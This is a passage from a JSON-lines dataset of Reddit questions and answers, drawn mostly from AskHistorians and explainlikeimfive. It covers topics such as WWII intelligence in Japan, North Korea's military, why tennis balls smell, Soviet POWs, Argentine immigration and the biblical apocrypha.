do with that :)\n\nNow...there are some things you have to keep in mind. A colony can live off of a rather low amount of food relative to the colony size. But they will consume more if they can to grow and more importantly to build new queens. A surplus of protein in my colony lead to a pretty mesmerizing night where there were several dozens of new queens trying to break out to build new colonies.\n\nRegarding your second question: ants can transport these goods to certain chambers in the colony to better feed the colony in times of need. It also makes it easier for them to refill their need for sugar if they don't have to walk a long distance but can just get some in their own nest.\n\nIf you have other questions just keep asking...I also did an AMA about this so you might want to read some of the answers there :)\n\n(sorry for misspellings etc...non-native speaker :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.researchgate.net/publication/233502803_Food_and_Energy_Requirements_of_Laboratory_Fire_Ant_Colonies_(Hymenoptera_Formicidae)"], []]}
{"q_id": "3usp5q", "title": "Did the US have any human intelligence assets in Japan during WWII?", "selftext": "I'm visiting Japan and curious how the US would get intelligence on things like where factories were to bomb and such. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3usp5q/did_the_us_have_any_human_intelligence_assets_in/", "answers": {"a_id": ["cxhuqya"], "score": [9], "text": ["No, the US never succeeded in placing or recruiting agents in the Japanese home islands. Japan posed a serious challenge for Allied intelligence services: a closed, repressive society with significant ethnic, linguistic and cultural barriers to successful infiltration. \n\nThe US' primary intelligence sources in the Pacific theatre were SIGINT and aerial reconnaissance, rather than HUMINT. The [Magic](_URL_3_ cryptography programme \u2014 a joint effort between Army and Navy signals intelligence units, working [in collaboration with the British GC & CS](_URL_1_) at Bletchley Park \u2014 achieved significant success in breaking Japanese codes, both military (crucially, the Imperial Japanese Navy's general-purpose cipher, '[JN-25](_URL_7_)') and diplomatic (the '[Purple](_URL_6_)' cipher used by the foreign ministry.) Check out Ronald Lewin's *[The American Magic](_URL_2_)* for a detailed account of US codebreaking in the Pacific theatre.\n\nUS military intelligence and the Office of Strategic Services did recruit a significant number of *Nisei* (second-generation Japanese-Americans) as operatives, linguists, interrogators and radiomen, but although attempts to infiltrate agents into Japan itself were periodically considered, they were invariably discarded as being too high-risk. Here's [an interesting work](_URL_8_) on the role played by the *Nisei* in the Army's Military Intelligence Service during the war.\n\nThe OSS did mount intelligence-gathering and guerrilla operations behind enemy lines in Japanese-occupied Asia (the China-Burma-India theatre), often in collaboration with local resistance groups \u2014 from Chinese nationalist leader Chiang Kai-Shek to Vietnamese communist leader [Ho Chi Minh](_URL_0_).\n\nIn mid-1942, the OSS appointed Captain Carl Eifler to command [Detachment 101](_URL_9_), a new unit assembled for service in occupied Burma. Detachment 101 proved to be one of the OSS' more successful ventures, and is regarded as one of the ancestors of the modern United States Army Special Forces.\n\nThere was one notable American agent in the Japanese-occupied Philippines \u2014 but he ended up there entirely by accident. [Richard Sakakida](_URL_4_) was a sergeant in the US Army Counter-Intelligence Corps, stationed in Manila at the outbreak of war. He was captured by the Japanese after the fall of Corregidor, the only *Nisei* to fall into Japanese hands in the Philippines. \n\nSakakida was charged with treason by the Japanese military authorities (on the grounds that he had previously held Japanese citizenship), but was acquitted \u2014 and subsequently hired by the judge-advocate of the Japanese Fourteenth Army as a translator and servant. He reportedly passed information to the Philippine resistance for several months, and claimed to have posed as a Japanese officer to help the guerrillas spring 500 resistance members from a Japanese prison at Muntinlupa. However, some former resistance members and Philippine researchers have [cast doubt on Sakikada's account](_URL_5_) of his time in captivity, and particularly his claimed role in the Muntinlupa raid. (I'm afraid I haven't read deeply enough into the claims and counter-claims to offer a verdict one way or the other.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.historynet.com/ho-chi-minh-and-the-oss.htm", "http://www.historytoday.com/john-crossland/emperors-codes-role-bletchley-park-breaking-japan\u2019s-secret-ciphers", "https://books.google.co.uk/books?id=iGeyBe2qb1IC", "https://en.wikipedia.org/wiki/Magic_(cryptography)", "http://fas.org/irp/congress/1996_cr/s960130a.htm", "http://corregidor.org/crypto/intel_01/sakakida_01.htm", "https://www.nsa.gov/public_info/_files/cryptologic_quarterly/Red_and_Purple.pdf", "http://www.ibiblio.org/hyperwar/PTO/Magic/JN-25/JN-25.1.html", "http://www.history.army.mil/html/books/nisei_linguists/CMH_70-99-1.pdf", "https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol4no3/html/v04i3a11p_0001.htm"]]}
{"q_id": "cousro", "title": "transfering college credit", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cousro/eli5_transfering_college_credit/", "answers": {"a_id": ["ewlbv9v", "ewld3zi"], "score": [2, 2], "text": ["It depends on the college. Some colleges and universities will accept transfer credit from other schools due to you completing similar courses, but it varies.", "There are two issues here.\n\nA) Can you transfer credits?\n\nB) Do the credits apply to a second major/minor?\n\nAre you only applying the classes from school #1 to new degree at school #1?  If so, ignore \"A.\"  Otherwise, the answer to \"A\" depends on your college.  Some colleges limit how many transfer units they will accept.  It's also possible they may place restrictions on what they accept for transfer.  But if we ignore the complication of transfer units, the answer to \"B\" should always be yes.  If those same classes apply to a different major or minor, they apply.  It's not like you used them up for the first degree.  Put another way, if you took a few Math classes to get a Chemistry degree, it's not like you need to take the same classes again to get your Physics degree.  If they apply to that degree, they apply to that degree."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "12c0k8", "title": "What long-term damage will Hurricane Sandy do to the superstructure of New York City by flooding the subways?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12c0k8/what_longterm_damage_will_hurricane_sandy_do_to/", "answers": {"a_id": ["c6ttbrb", "c6tte44", "c6ttety", "c6tti3n"], "score": [17, 16, 3, 4], "text": ["The erosion that documentary was likely referring to would be caused by dozens of storms over hundreds of years.  The flooding of the subway would likely only cause damage to the subway, not buildings above it.", "There is a subreddit called /r/AskEngineers. That may be of assistance to you if no-one can answer you here.", "You may find this article useful for helping to answer some of your questions.  _URL_0_", "Quite a lot of damage actually. With the blackout and the existing pumps overwhelmed, there is some heavy flooding in the subway system. The photos of people who snuck in to stations shows a lot of trash and debris has also gone in, meaning they are going to have to remove it and make sure nothing shorts the third rail when they turn it back on.\n\nAdd to the salt water damaging the electrical systems and destroying the switches, it will take a long time to fix. Remember in 2005 when a homeless man started a fire in one of the electrical rooms, destroying a major switching center? The MTA predicted the A line would be out of service for at least a year since the custom switches could not be replaced with spares. They've since upgraded to fix such issues, but it's still going to be interesting to see how quickly they recover this time. I'm sure they'll restore the elevated train service, but the tunnels are gonna be out for longer, I'd say even a massive all-hands repair effort could take till thursday to get some of the Manhattan lines running (though that's speculation on my part). \n\nTL;DR - Water in the tunnels, salt water damage of switches and electrical rails. Gonna"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://science.howstuffworks.com/engineering/civil/subway4.htm"], []]}
{"q_id": "5jxg22", "title": "How well would the average 21st century person fare in academia in the 19th century? Would the average intelligence of a college graduate in an associated field be that of a 19th century Masters or PhD?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5jxg22/how_well_would_the_average_21st_century_person/", "answers": {"a_id": ["dbjtcxl", "dbk44xy"], "score": [26, 148], "text": ["In addition how difficult might it be to be published in your field, and what languages other than english might you publish in? ", "Your question is a bit unclear to me. Are you asking about the *intelligence* of a college grad, then versus now? Or are you asking about their *knowledge*?\n\nWe have no particular reason to suppose that a modern college grad would be more intelligent than his peers from the 19th century. Flynn Effect notwithstanding. If there's been an increase in average IQ at the population level, it's probably due to better nutrition having raised the lowest parts of the curve. Intelligence at the upper end has not changed so far as we know. And universities are self-selecting environments for the upper end, they don't represent population averages anyway. I see no reason to believe that a modern university grad has a higher IQ than one from the 19th century.\n\nIf you\u2019re asking about *knowledge*, well obviously a 21st century graduate has access to knowledge the 19th century guy didn\u2019t. Whether that would be enough to convince others of your brilliance is questionable. Having access to 21st century factoids isn\u2019t very impressive unless you can *prove* them, otherwise why should anyone believe you? For the average grad, it\u2019s much easier to remember the result than to duplicate the long chain of reasoning that led to it. But the result is arbitrary and unconvincing without the support.\n\nProbably would depend on your particular field of academia as well. Science is more empirical, so even if you can\u2019t provide a convincing argument you can still rub people\u2019s noses in the results and say \u201clook, it works\u201d. It\u2019s different in the humanities, where arguments may rest on books that haven\u2019t yet been written. The whole body of work on which *your* analysis depends doesn\u2019t exist.\n\nI suppose it\u2019s possible to impress with trivia too. Perhaps you remember where some ancient undiscovered city is buried and you say \u201cdig here\u201d. Or make some money predicting the outcome of sports events. But that\u2019s just magical information-from-the-future stuff, nothing very remarkable about it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "17enl9", "title": "how does north korea have such a large military power if they are one of the poorest nations?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/17enl9/how_does_north_korea_have_such_a_large_military/", "answers": {"a_id": ["c84sc56", "c84sia5", "c84sl7p", "c84u4cp", "c84vkxv", "c84vooq", "c84w1ms", "c84x32f", "c84xz3h", "c84yxky", "c84yzg0", "c850b6i"], "score": [159, 11, 37, 4, 34, 2, 14, 12, 4, 3, 2, 2], "text": ["North Korea spends a large percentage of the little money they have on their military. That's part of the reason why millions there are underfed.\n\nAs of 1997 they spent 25% of their GDP on the military. This compares to 4.7% for the United States.", "They have a large military *because* they are one of the poorest nations.\n\nThere military first policies has given them a large standing army, but has otherwise crippled their economy.", "**The people of many parts of North Korea are left starving to death**, thats how\n\nImagine if living in certain states or cities was crucial to getting food, and if you lived in the wrong state, you would be on the verge of starvation or even starve to death, because your family was considered to be bad people for some obscure political reason, say your grandfather had been a big landlord and had kept slaves.\n\n_URL_0_\n\n_URL_1_", "You kinda just answered your own question", "Everyone's addressing the whole percentage of GDP thing, but there's something else to consider.  Their military is large, but not actually that powerful.  They have artillery in range of Seoul, and a few nukes (without a proper delivery system that doesn't mean much).  They have a very large army, but it's starving along with the rest of the country.  Their military is China.  They keep posturing to scare everyone else into giving them food aid, fearing that an actual war would provoke China.  While a war with NK wouldn't likely start a shooting war with China, it could flare up a new Cold War or some economic shit.  Some day the PRC will get fed up with DPRK, or the North Koreans will overthrow their government, but until then the status quo is likely to remain.\n\ntl;dr - It's just cheaper, easier, and more effective to stick a bottle into the mouth of the screaming infant than to spank it. ", "A lot of its income is poured into the military. Millions of locals starve because of this. ", "Side question if anyone has time: If North Korea ever did engage in a ground battle how many NK soldiers do you think would abandon there post and run free to South given the chance? Are any NK soldiers loyal to the cause?", "I'll bet you like LEGOs! Well, if you have two LEGO sets, and one of them is just soldiers, and a laser cannon, and the other one is a single truck with two regular guys in it... it looks like you've got a really, really big army, huh? I mean, it's like, half of your *everything* is army! Of course, those two regular guys have to feed all the guys, and build all the guys' houses, and everything. So in the end you don't have enough food, and some of the houses are built really, really cheap, of silly things. Like plastic milk crates! \n\nNow, let's go to another hypothetical country. We'll call this one \"South Korea.\" Now, half of your country is soldiers, right? And only one-eighth of \"South Korea\" is soldiers. So you've got a *really big army*. Except that South Korea has *sixteen boxes of LEGOs* (proportions not to scale, here) and so they still have *two boxes* which are soldiers and *two* laser cannons. \n\n**tl;dnr** Much of North Korea's \"military might\" is proportionate to population and/or GDP, and even that is most likely grossly inflated. In 1944, when Adolf Hitler told his people to make rockets, they made better ones than what North Korea has today, and they had to build them from scratch because nobody else had long-range rockets yet. North Korea is doing worse with stolen technology than the original innovators of said tech did.", "Actually, it may be that they're so poor *because* they have such a large military.\n\nSo in order to have a healthy economy, you need to have different people doing different jobs.  If everybody's a farmer, you'll have lots of food but no tools.  So, some people stop farming, and start making tools, building things, etc.\n\nNow, what do people in the military do?  They don't grow food, they don't make tools, they don't build houses, they just fight and prepare themselves to fight.  That means that they're basically being paid to do nothing.  Imagine that you ran a restaurant, and you had to give every 24th customer a free meal, but you couldn't charge the other 23 any extra, and that's an approximation of the impact the military has on the economy of the DPRK.", "There are no jobs, so they stick people in the military.  That way they don't have to call it welfare and and they are subject to more intense indoctrination. ", "you're looking at it the wrong way round; they are poor because they spend so much money on their military.", "First of all, they spend the largest percentage of their gdp on the military than any other country. Furthermore, everyone has to join the army. There aren't any \"army strong\" commercials. you just join the fucking army, like it or not. However, the thing is, they do like it. everyone is brainwashed into hypernationalism since the moment they're born, so there is no greater honor than defending their great nation and glorious leader. so basically, their military strength is a combination of spending whatever they can on the military and a large amount of enlisted citizens who are happy to fight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.asiapress.org/rimjingang/english/report/2012-05-11/", "http://www.asiapress.org/rimjingang/english/report/2012-05-10/"], [], [], [], [], [], [], [], [], []]}
{"q_id": "2ehukf", "title": "why do tennis balls smell so...... good?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ehukf/eli5_why_do_tennis_balls_smell_so_good/", "answers": {"a_id": ["cjzook0", "cjzpdfr", "cjzppo5", "cjzpq6i", "cjzpq7p", "cjzpr64", "cjzql8p", "cjzqx65", "cjzr982", "cjzrc91", "cjzshd4", "cjztk01", "cjztpp0", "cjzubul", "cjzugwt", "cjzv9n2"], "score": [9, 892, 5, 115, 2, 2, 2, 2, 15, 2, 2, 5, 10, 4, 3, 14], "text": ["Why does freshly applied blacktop sealer smell so good?  Or should I create my own post for this question?", "Tennis enthusiast here:\n\nI actually don't know what gas is actually in the can, but tennis balls are fulled with either nitrogen gas or sulfur hexafloride. The cans themselves are pressure packed, and what you smell when you crack open a can is the smell of plastic-tainted air and rubber. \n\n*Or that's my spin on it.*\n", "The only thing that I can think of is that it comes from the chemical vapors given off during the curing of some component of the ball, like the felt or the rubber. When polymers like rubber and plastic are manufactured, they go through a curing process, which is basically how the material hardens and is caused by the crosslinking of the long polymer chains. Often times, the volatile chemicals that were involved in the manufacturing process are slowly given off from the material during this process. Since the balls are in a sealed container, there is nowhere for these gases to go, so they concentrate in the can and stick to the ball for a while as well. A lot of the time.. these chemicals smell surprisingly good! The \"new car smell\" that many people are familiar with also comes from the curing of the plastics in the interior of the vehicle.", "Found this. I don't know how accurate it is.\n\n\"Most Tennis ball manufacturers have differant processes for the manufacture of Tennis Balls, the smell has a rubber base, and possibly a formaldehyde mixture of chemicals to protect the felt of the ball, other chemical compounds may be mixed but they are usually kept as trade secrets per manufacturer. Formaldyhyde can be harmful in large doses or concentrations, so it is probably that mixed with the rubber that you are getting a wiff of. If this is the case, my dog Nicky is addicted to this stuff that coats these balls because he will go nuts over a tennis ball.\n\n_URL_0_\n\nRead more: What does the distinctive smell of a tennis ball consist of? Is it a chemical treatment, the material itself, or the dyes? Is it considered toxic or harmful at it's most concentrated form? | Answerbag _URL_1_", "I believe you like the glue.", "Most Tennis ball manufacturers have different processes for the manufacture of Tennis Balls, the smell has a rubber base, and possibly a formaldehyde mixture of chemicals to protect the felt of the ball, other chemical compounds may be mixed but they are usually kept as trade secrets per manufacturer. Formaldyhyde can be harmful in large doses or concentrations, so it is probably that mixed with the rubber that you are getting a wiff of. If this is the case, my dog is addicted to this stuff that coats these balls because he will go nuts over a tennis ball.\n", "Same reason new cars smell so \"good\", its just the chemicals they use to put it all together.", "Tennis balls smell like Suboxone", "I'd guess it's because you like the smell of the chem vapor. Try ordering a textile item from JC Penny. When it arrives in the mail, smell that too- do you like it? If yes, well, then- you have a potentially crippling gift- I speak from experience. Never got too hardcore about it, but yeah, I've cracked a few ball cans in my day.  Tread safely chasing that dragon. ", "Even more interesting, why dose cracking a fresh can of tennis balls feel so good. that crisp pop....\n", "I've actually put some thought into this one.  Why do things like tennis balls, new wet suits, new car interiors etc smell so \"good\"?  I think there are 3 main reasons:\n\n1.  Its \" strong\" - humans have been known to tie a scent to a memory. The strong a smell, the more likely you are to remember it.\n2.  Its unique - the new material / manufactured goods smell is so dissimilar from other smells that the only time we experience it is when we get in a brand new car or rip open a new tube of tennis balls.\n3.  It's temporary -  because the smell fades fairly quickly, combined with the first 2 reasons I've cited and you've got a perfect mix for a smell/memory feeling response.  You feel good when you get something \"new\" therefore that smell invokes those happy feelings in our subconscious.  One whif of that smell, even blind folded will cause your brain to release dopamine amd trigger the brains reward center response.  ", "Literally all I see is [deleted][deleted][deleted]", "Why is everything deleted.", "Wtf happened in this thread? Looks like a mod went overboard here. Can we get an explanation why 50% of the posts are deleted.", "What happened to the top comments?", "This will probably get buried because I'm late but the smell that you like so much has nothing to do with the pressurizing of the can. The gases used to pressurize the can are largely unscented. However, the material used in making the tennis balls is not. And more specifically, part of the rubber curing process when making the tennis balls is highly scented. \r\rThere are two ways to cure rubber: using sulfur or using peroxide. Sulfur curing is cheaper, more common and produces a product that smells largely like sulfur. It also leaves residue on your hands that you will find later if you don't your hands before eating finger foods. Think tires when you think sulfur curing. Peroxide cured rubber smells wonderful and it produces a gentler scent that is sometimes confused with a grape scent. Peroxide cured rubber is used when sulfur curing isn't acceptable for the product. Sulfur can produce a brownish tint when left in contact with something else for an extended period of time. A prime example of this is shoes. This is why shoe stores smell so good also.\r\rSo what you're actually smelling is the peroxide from the curing process used to make the tennis balls."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.indiamart.com/gvrrubbers/", "http://www.answerbag.com/q_view/126101#ixzz3BNG6TVCT"], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2zgj08", "title": "I recently just watched Enemy At The Gates (2001), and there is a scene where a Nazi officer (I can only speculate) is saying that any Russians who surrender will be treated better than their own officers do. Is this accurate? Or did the Nazi's treat Russian POW's horribly?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2zgj08/i_recently_just_watched_enemy_at_the_gates_2001/", "answers": {"a_id": ["cpiqapi", "cpir0fx", "cpj0qne", "cpjbeqv"], "score": [1137, 98, 32, 13], "text": ["No, not at all. Most Soviet POWs were left in open fields surrounded by barbed wire or essentially used as slave labour until they were too weak to continue working. The Germans also intentionally starved Soviet prisoners to death as part of their Hunger Plan, which was intended to divert all food resources from conquered areas of the USSR to feed German soldiers, with the intended consequence of killing as many Jews and Slavs as possible through starvation or malnutrition. The Hunger Plan was inspired by German food shortages caused by the British blockade in WWI combined with a genocidal plan to kill as many Soviet Slavs as possible to make room for post-war German colonization. Because Soviet POWs were under the direct control of German authorities who also controlled their access to food, they were the largest demographic affected by the Hunger Plan; 3 out of 5 Soviet POWs died in German captivity for the duration of the war, and most died of starvation. ", "I agree with both of the other commenters, but thought some perspective might perhaps be helpful.\n\nIn his highly acclaimed work [Bloodlands](_URL_2_), [Timothy Snyder](_URL_1_) estimates that 3.1 million Soviet POWs were murdered by the Nazis through forced starvation as a part of [Generalplan Ost](_URL_3_). The USHMM estimates that about 1.7 million people were murdered in the [Operation Reinhard camps](_URL_4_), while another 1.1 million were murdered at the [Auschwitz camps](_URL_0_). \n\nWhile many, many more people were murdered as part of the Holocaust via open air shootings, starvation, etc., it is not inaccurate to recognize that the Nazis killed more Soviet POWs through forced starvation than they did through the killing centers most people generally associate with the Holocaust. ", " In William Craig's *Enemy at the Gates,* (which the movie was very, very loosely based on) the German accounts of death marches after the Stalingrad surrender were horrific. Marched for miles across frozen tundra for days without food or shelter. There was a row of bodies on either side of the road where guards executed exhausted Germans. The German doctor telling the account claimed that a Russian guard kicked his dog to death. He slept in a warehouse and the man next to him died of frostbite. In desperation he ate a can of engine oil. And there are later claims of cannibalism at their gulags. \n\n All of which are eyewitness, so take it with a grain of salt. I *highly* recommend the book by the way. It's an excellent and very personal read. \n\n Which was worse overall? I can't offer a conclusive opinion, suffice to say that between German racism and Russian bloodlust, the eastern front was a savage, savage war. \n\nEdit: Apologies for the  Stephanie Meyer like summary by the way. I'm on my iphone, and I don't have immediate access to the book. \n\nCORRECTION: The fellow soldier died of hypothermia, not frostbite. ", "Let me give you an idea how Soviet POWs were treated.\n\nSoviet POWs were so poorly treated that, in part due to Stalin/Red Army paranoia, when they were liberated by Soviet forces, their liberators assumed that the only way any of them survived was through some means of collaboration.  Thus, Soviet soldiers liberated at the end of the war were sent to the Gulag, where their conditions were scarcely better. Many liberated POWs died in the Gulag after having suffered the rigours of Nazi extermination."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ushmm.org/wlc/en/article.php?ModuleId=10005189", "http://en.wikipedia.org/wiki/Timothy_D._Snyder", "http://amzn.com/0465031471", "http://en.wikipedia.org/wiki/Generalplan_Ost", "http://www.ushmm.org/wlc/en/article.php?ModuleId=10005195"], [], []]}
{"q_id": "23upft", "title": "how is my iphone able to make an sos call with no signal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/23upft/eli5_how_is_my_iphone_able_to_make_an_sos_call/", "answers": {"a_id": ["ch0qvcq", "ch0r4zw", "ch0rpyv"], "score": [8, 2, 3], "text": ["[911 calls are sent via any wireless network.](_URL_0_)  If your carrier doesn't have service, but another carrier does, you can still use 911 off the other carrier's tower.", "It can't, but if you are in an area that is covered by a carrier other than your own then the emergency call will get routed through them.\n\nNormal calls will only be accepted by the actual carrier you are paying of course which is how you can end up in situations where you can make emergency calls but not regular calls.", "what about no sim card? If you remove it, you can make this call as well.\n\nI'm speaking of normal phones, not iphone"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.fcc.gov/guides/wireless-911-services"], [], []]}
{"q_id": "blj8yp", "title": "According to a recent census, 62% of Argentinians are of Italian descent. How was the country able to incorporate such a massive number of immigrants without losing its dominant Spanish language?", "selftext": "From what I understand, unlike in Cuba or Colombia or Mexico, most predominantly-European citizens of Argentina are descended from 19th and 20th century immigrants rather than earlier Spanish colonists. And unlike other colonial immigration destinations like the United States, the profound majority of Argentina's immigrants were from Italy. \n\nWhat effect did this have on the preexisting language and cultural traditions of Argentina? Did Argentina's governments during these period forcibly assimilate these people?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/blj8yp/according_to_a_recent_census_62_of_argentinians/", "answers": {"a_id": ["emqr1jh"], "score": [54], "text": ["Argentinian history teacher here!\n\nTo start off, you must understand that, unlike for example Mexico, Argentina was mostly a frontier region during colonial times, extremely underpopulated and with a relatively (by colonial terms) egalitarian society. By the second half of the 19th century, when economic growth accelerated and inmigration grew exponentially, Argentina's social structure was in flux. A local landholding elite had consolidated, but few of them could realistically claim long heritages and their attempts to \"close themselves off\" to the newcomers were mostly unsuccessful. To this day, a large section of the economic and social elites of our country are direct descendants from these late 19th, early 20th century italian inmigrants (the current presidential family being a prime example). \n\nSo, at the top you have a somewhat open elite that lacked the means to effectively exclude the newcomers. But what about society at large? Well, the argentinian state went about nation building, of course! The assimilation of the large italian inmigrant population was carried out in several ways. First and foremost, in 1884 Congress approved Law n\u00b0 1420, the first comprehensive legislation regarding primary education. It took primary education away from local goverments and the Church and put the national goverment directly in charge of providing compulsory, free and secular education. The public education system grew rapidly and for the most part meant that the sons and daughters of inmigrant were quickly integrated into the nascent argentinian national identity promoted by the state. A law approved in 1901 establishing compulsory military service played a similar role. The assimilation process was facilitated by several factors: unlike say the United States, inmigrants found a preexisting society that shared certain characteristics with their own; first and foremost, religion was not an issue, as Catholicism was a shared religion by both \"natives\" and inmigrants. Spanish and Italian were and still are relatively similar, and made for an easy transition for the newcomers (unlike English).  \n\nThe effects of italian inmigration where vast. To this day argentinian spanish (also known as rioplatense spanish) shares many loanwords and phonetic similarities with italian. Argentine diet is to this day heavily influenced by italian cuisine. Italian inmigrants were also involved from the start in the development of several key aspects of current argentinian popular culture, like music (where tarantela and other traditional italian musical styles were heavily influential), football (soccer for our american friends), etc.\n\nHope this helps! Cheers!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fk6u1s", "title": "why do people say jesus h. christ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fk6u1s/eli5_why_do_people_say_jesus_h_christ/", "answers": {"a_id": ["fkqyj4t", "fkqyjkr", "fkqyp8f", "fkr4gfz", "fkr7ik8", "fkrb1ht", "fkrbdeg", "fkrcklp"], "score": [761, 120, 24, 57, 6, 49, 24, 3], "text": ["No one knows 100% for sure how this started, but the prevailing theory is that it comes from a monogram made of the first three letters of the Greek name for Jesus.\n\nIn Greek, \u201cJesus\u201d is \u0399\u0397\u03a3\u039f\u03a5\u03a3 in uppercase letters and \u1f38\u03b7\u03c3\u03bf\u1fe6\u03c2 in lower. The first three letters (iota, eta, and sigma) form a monogram, or graphic symbol, written as either IHS or IHC in Latin letters.\n\nThe [symbol](_URL_0_), which is also called a Christogram, can be seen in Roman Catholic, Anglican, and other churches. It\u2019s also the emblem of the Society of Jesus, the religious order of the Jesuits.\n\nAs far as we can tell, \u201cJesus H. Christ\u201d first appeared in writing in the late 19th century. The earliest example we\u2019ve seen is from the February 1885 issue of Wilford\u2019s Microcosm, a New York journal about science and religion.", "The phrase is over 100 years old, though it is hypothesized that the rendering of the first three letters of JESUS in Greek can look like \"JHC\":\n\n [_URL_0_](_URL_0_) \n\nWhich might lead people to think its Jesus' initials, hence \"Jesus H Christ.\"", "The precise origin is unknown, but the widely accepted theory is that the first three letters of the Greek variant of Jesus (\u0399\u0397\u03a3\u039f\u03a5\u03a3) looks like IHC. Which led to people using JHC to talk about Jesus, which in turn led to Jesus H Christ.", "What people say Jesus H. Christ? Is it an American thing?", "I believe that it\u2019s to do with Equity naming. \n\nLook at Harry H Corbett, so named because Harry Corbett was sticking his hands up Sooty...\n\nWhen asked what the H stood for Harry H said \u201cHenny thing\u201d", "I always took it as a way to sneak one past the Lord by technically not saying His name but rather take some whole other dudes name (Jesus H Christ) in vain.", "Well, \"Christ\" isn't really his last name. Most individuals throughout history have a given name and often a family name, but often the family name is related to their occupation (Jeff Miller vs. Jeff Baker) or their origin (Richard d'Urbanville vs. Richard de Monaco).\n\nWe can argue that \"Christ\" turned out to be his occupation as in the first example, and usually no middle name gets added. He is also known as \"Jesus of Nazareth\", but few people these days think of \"of\" as his middle name there.\n\nFinally, even with 17 comments so far, no one has suggested \"Jesus Henry Christ\" as the correct full name, but that is how I learned it as a kid [who was not allowed to say *fucking* at the time].", "I always thought the H. was his father's name. In most cultures it's common for the first born son to inherit his father's name as his middle name. Jesus's father's name is Joseph, but in a lot of other cultures, including mine, it's pronounced Hovseph or something similar where the J becomes an H.  Some cultures will also pronounce the name Jesus with an H sound instead of the J.  \n\n\nTL;DR: Jesus Hovseph (English: Joseph) Christ"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://banner2.cleanpng.com/20180713/oog/kisspng-christogram-chrystogram-jesus-h-christ-chi-rho-ch-mu-ntilde-ecos-5b486dc0ec4ff0.437200541531473344968.jpg"], ["https://en.wikipedia.org/wiki/Christogram#/media/File:IHC-monogram-Jesus-medievalesque.svg"], [], [], [], [], [], []]}
{"q_id": "7ornfo", "title": "Purging of books from the Bible? Did this actually occur?", "selftext": "So I vaguely remember a scene from a Tom Hanks film where they discuss a meeting in Constantinople (I think) where a bunch of folks got together and essentially kicked out books for being canon. Did this really happen?  Any reason for the books (overarching themes, ideologies or otherwise) that were removed and are any of them available to be studied today?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7ornfo/purging_of_books_from_the_bible_did_this_actually/", "answers": {"a_id": ["dscpxm5"], "score": [28], "text": ["The books you're speaking of are the Biblical apocrypha. I'm going to limit myself to discussing the New Testament apocrypha in this answer, because if I included the Hebrew Bible apocrypha, this answer would be even longer.  \n & nbsp;\n > So I vaguely remember a scene from a Tom Hanks film where they discuss a meeting in Constantinople (I think) where a bunch of folks got together and essentially kicked out books for being canon. Did this really happen?\n   \nWhat the book and film were referencing was the First Council of Nicaea in 325. However, Dan Brown was wrong about this point. It's a common myth that the biblical canon was decided at the Council of Nicaea that was most likely invented or at least popularized by Voltaire. In reality, the development of the New Testament canon took centuries. This aside, most of the Gnostic Gospels (discussed below) had already been attacked as heretical long before 325 by (among others) Irenaeus of Lyon and Tertullian.  \n & nbsp;\n > Any reason for the books (overarching themes, ideologies or otherwise) that were removed  \n\nThe most common reason for exclusion was that the theology was considered heretical.  \n\nThis is the case for the so-called Gnostic Gospels that include the Apocryphon of John, the Gospel of Judas, the Gospel of Mary, the Secret Book of John, the Greek Gospel of the Egyptians, etc. Contrary to what *The Da Vinci Code* claims, these works are mostly products of the 2nd, 3rd and 4th centuries, so they are not older than or even contemporary to the Four Canonical Gospels. It's hard to talk about Christian Gnosticism with any authority because so little is known of it, but it seems to have mostly centered around the idea that the world was the creation of either Satan or an evil demiurge who was usually identified with YHWH, the God of the Hebrews.  \n\nAlso excluded on the basis of heresy was the Gospel of the Lord, better known as the Gospel of Marcion. Marcion of Sinope was a 2nd century Christian whose beliefs were somewhat similar to Gnostics, in that he believed that YHWH was an evil demiurge, but his conception of the True God was different. At any rate, his teachings were attacked by some of his near-contemporaries who claimed that much of the Gospel of the Lord was actually a revision of the Gospel of Luke (and many modern scholars think that that charge was true). Another work considered heretical was the Gospel of Mani, a central holy book to the Manicheans. Unlike Marcionism and Gnosticism, Manichaeism can't really be considered a sect of Christianity; it was an entirely different religion that also incorporated elements of Zoroastrianism and Buddhism. Unfortunately, no complete copies of the Gospels of Marcion and Mani have survived.  \n\nA final book rejected on the basis of heresy was the Gospel of Peter, which condemned most likely because of its Docetist tendencies--Docetism was the idea that Jesus' human form was an illusion. It also lays the blame for the crucifixion of Jesus solely on Herod Antipas and the Jews. \n\nWorks might also much be considered apocryphal if they were attributed to someone who couldn't have possibly written them. This was the case for the Apocalypse of Pseudo-Methodius. It claims to be the work of the 4th century Methodius of Olympus, but it probably written in the late 7th century, after the conquests of the Rashidun and Umayyad Caliphates. It \"prophesies\" that the sons of 